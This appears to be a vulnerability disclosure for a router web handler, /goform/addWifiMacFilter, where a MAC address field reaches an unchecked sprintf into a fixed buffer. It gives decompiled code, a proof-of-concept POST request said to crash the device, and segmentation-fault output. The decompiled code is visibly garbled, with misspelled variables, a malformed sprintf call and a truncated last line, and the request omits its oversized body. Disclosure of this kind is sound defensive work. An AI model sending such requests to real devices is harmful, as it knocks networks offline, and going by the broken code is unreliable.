

Vulnerability details

This vulnerability lies in the /goform/addWifiMacFilter page, The details are shown below:

```
deviceId_value = (const char *)get_value_from_web(a1, (int)"deviceId", (int)&unk_ECO1C);
deviceMac_value = (const char *)get_value_from_web(a1, (int)"deviceMac", (int)&unk_ECO1C);
if ( sub_94DF8(deviceMac_value) )
{
    v12 = 3;
}
else
{
    memset(nptr, 0, sizeof(nptr));
    GetValue("wl2g.ssid0.maclist_num", nptr);
    v10 = atoi(nptr);
    memset(s, 0, sizeof(s));
    memset(s, 0, sizeof(y7));
    memset(v7, 0, sizeof(v7));
    sprintf(s, "wl2g.ssid0.maclist%d", v10 + 1);
    sprintf(y7, "wl5g.ssid0.maclist%d", v10 + 1);
    sprintf(nptr, "%s;%dj%s", deviceMac_value, 1, devideId_value);
    SetValue(v7, nptr);
    memset(nptr, 0, sizeof(nptr));
    sprintf(nptr, 0, sizeof(nptr));
    sprintf(nptr, 0, sizeof(nptr));
    SetValue("wl2g.ssid0.maclist_num", nptr);
    SetValue("wl5g.ssid0.maclist_num", nptr);
    SetValue("wl5g.ssid0.
```

POC

This POC can result in a Dos.

```
POST /goform/addWifiMacFilter HTTP/1.1
Host: 192.168.204.133
Content-Length: 76065
Accept: */*

X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.133
Referer: http://192.168.204.133/parental_control.html?random=0.7058891673130268&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=iqblqw; blanguage=cn
Connection: close
```



Connect to server failed. Unsupported setsockopt level=1 optname=13 Segmentation fault (core dumped)